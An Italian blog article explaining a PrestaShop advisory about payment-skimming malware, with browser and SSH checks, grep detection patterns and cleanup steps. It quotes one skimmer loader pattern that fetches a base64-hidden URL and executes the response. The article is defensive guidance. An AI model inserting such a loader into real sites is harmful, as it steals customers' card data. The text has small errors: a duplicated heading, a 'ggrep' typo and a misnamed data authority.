Avviso di sicurezza PrestaShop: controlli consigliati per il tuo negozio

PrestaShop ha pubblicato un avviso di sicurezza che riguarda una minaccia reale che può colpire alcuni negozi online: un malware chiamato “digital skimmer”, in grado di rubare i dati di pagamento dei clienti durante il checkout.

In questo articolo spieghiamo in modo semplice:

  • cos’è il digital skimmer e come funziona;
  • come capire se il tuo shop è stato compromesso;
  • quali controlli fare (anche avanzati via SSH);
  • cosa fare se trovi codice sospetto;
  • alcune misure preventive di base.

Cos’è un “digital skimmer” e perché è pericoloso

Un digital skimmer è uno script malevolo che viene inserito nel codice del sito (spesso nel tema) e che può:

  • modificare o sostituire elementi del checkout (ad esempio pulsanti di pagamento);
  • reindirizzare l’utente verso un modulo di pagamento falso;
  • raccogliere e inviare a terzi informazioni sensibili (es. dati carta, dati personali).

Il punto critico è che il cliente crede di essere su una pagina “normale”, ma sta interagendo con componenti alterati.

Come capire se il tuo negozio è compromesso

1) Controllo rapido dal browser (Front Office)

Vai al checkout del tuo shop e apri gli strumenti per sviluppatori:

  • tasto destro sulla pagina → Ispeziona (Inspect)
  • cerca nella sezione <head> e negli script caricati
  • verifica la presenza di script sospetti/offuscati

Un esempio tipico (la forma può variare) è uno script che usa atob(), XMLHttpRequest e contenuti codificati (base64):

[code=language-javascript] <script>(function(){var x=new XMLHttpRequest;x.open('GET',atob('…'));x.onload=function(){if(200===x.status)try{Function(x.responseText)()}catch(e){}};x.send();})();</script> [/code]

La presenza di questo pattern è un forte indicatore di compromissione.

2) Controllo rapido dal browser (Front Office)

  1. Individua il tema attivo.
  2. Apri templates/_partials/head.tpl.
  3. Cerca script non riconosciuti o offuscati.

Se trovi codice sospetto nel file head.tpl, significa che il tema è stato modificato.

Controllo avanzato via SSH (per sviluppatori / sistemisti)

Se hai accesso SSH al server Linux, puoi eseguire controlli più approfonditi e veloci su tutto il progetto.

a) Entra nella root del sito

[code=language-bash] cd /var/www/vhosts/tuodominio/httpdocs [/code]

b) Cerca pattern sospetti nel tema

[code=language-bash] 

grep -R "atob(" themes/

[/code]

Poi controlla il file del tema attivo:
[code=language-bash] 

grep -R "XMLHttpRequest" themes/

[/code]

Se viene restituito un risultato nel file:

[code=language-bash] 

themes/tuo_tema/templates/_partials/head.tpl

[/code]
Se trovi uno script con:

  • atob()
  • XMLHttpRequest
  • codice offuscato in base64

⚠️ È altamente probabile che il sito sia compromesso.

c) Trova file modificati di recente

[code=language-bash] find . -type f -mtime -7 [/code]

Oppure più mirato sui temi:

[code=language-bash] find themes/ -type f -mtime -7 [/code]

File core o template modificati senza interventi noti sono sospetti.

d) Scansione codice offuscato

Molti malware usano:

  • base64_decode
  • eval(
  • gzinflate(
  • str_rot13(

Puoi fare una scansione globale:

[code=language-bash] grep -R "base64_decode" . [/code]

[code=language-bash] grep -R "eval(" .[/code]

[code=language-bash] ggrep -R "gzinflate" .[/code]

Valuta sempre il contesto: alcune funzioni possono essere legittime.

e) Verifica permessi pericolosi

[code=language-bash] find . -type f -perm -777 [/code]

  • File consigliati: 644
  • Cartelle consigliate: 755

f) Controllo accessi sospetti

[code=language-bash]

last

[/code]

Per login SSH sospetti.
Controlla anche log Apache/Nginx:

[code=language-bash]

tail -n 100 /var/log/apache2/access.log

[/code]

[code=language-bash]

tail -n 100 /var/log/nginx/access.log

[/code]

Cerca richieste anomale, upload sospetti o POST ripetuti verso file sconosciuti.

Cosa fare se trovi codice malevolo

Non considerare concluso il problema solo rimuovendo lo script. Serve una revisione completa del sito per individuare come è stato introdotto il malware e prevenire nuovi attacchi.

  • Non limitarti a cancellare lo script.
  • Ripristina da backup pulito.
  • Aggiorna PrestaShop, tema e moduli.
  • Cambia tutte le credenziali (BO, hosting, FTP, SSH, DB).
  • Analizza i log per capire il vettore di attacco.

Misure preventive consigliate

  • Aggiorna regolarmente PrestaShop, temi e moduli.
  • Usa password robuste e 2FA.
  • Utilizza SFTP/SSH con chiave.
  • Fai backup automatici con storico.
  • Monitora log e attiva sistemi anti brute-force.

Obblighi legali e GDPR

Se il malware ha potenzialmente raccolto dati dei clienti (come numeri di carta):

✔️ Devi valutare se si è verificata una violazione dei dati personali.
✔️ In caso affermativo, è necessario fare la notifica alla CNIL (autorità garanti) entro 72 ore.
✔️ Devi anche informare i clienti coinvolti, se c’è un rischio elevato per i loro diritti e libertà.

Conclusione

Questo attacco dimostra una cosa fondamentale:

La sicurezza di un e-commerce non è solo aggiornare PrestaShop, ma mantenere controllo continuo su file, accessi e configurazione server.

Un controllo periodico via SSH può fare la differenza tra un problema contenuto e una violazione grave dei dati cliente.

Autore: Loris Modena

Loris Modena

SENIOR DEVELOPER

Per Ind Loris Modena titolare di Arte e Informatica, inizia a lavorare nel settore informatico nel 1989 quale sistemista addetto alla manutenzione e installazione di sistemi informatici. Inizia a programmare per il web nel 1997 occupandosi di programmazione CGI in PERL e successivamente passando alla programmazione in PHP e JavaScript. In questo periodo si avvicina al mondo Open source e alla gestione di server Linux. 

prodotto aggiunto alla lista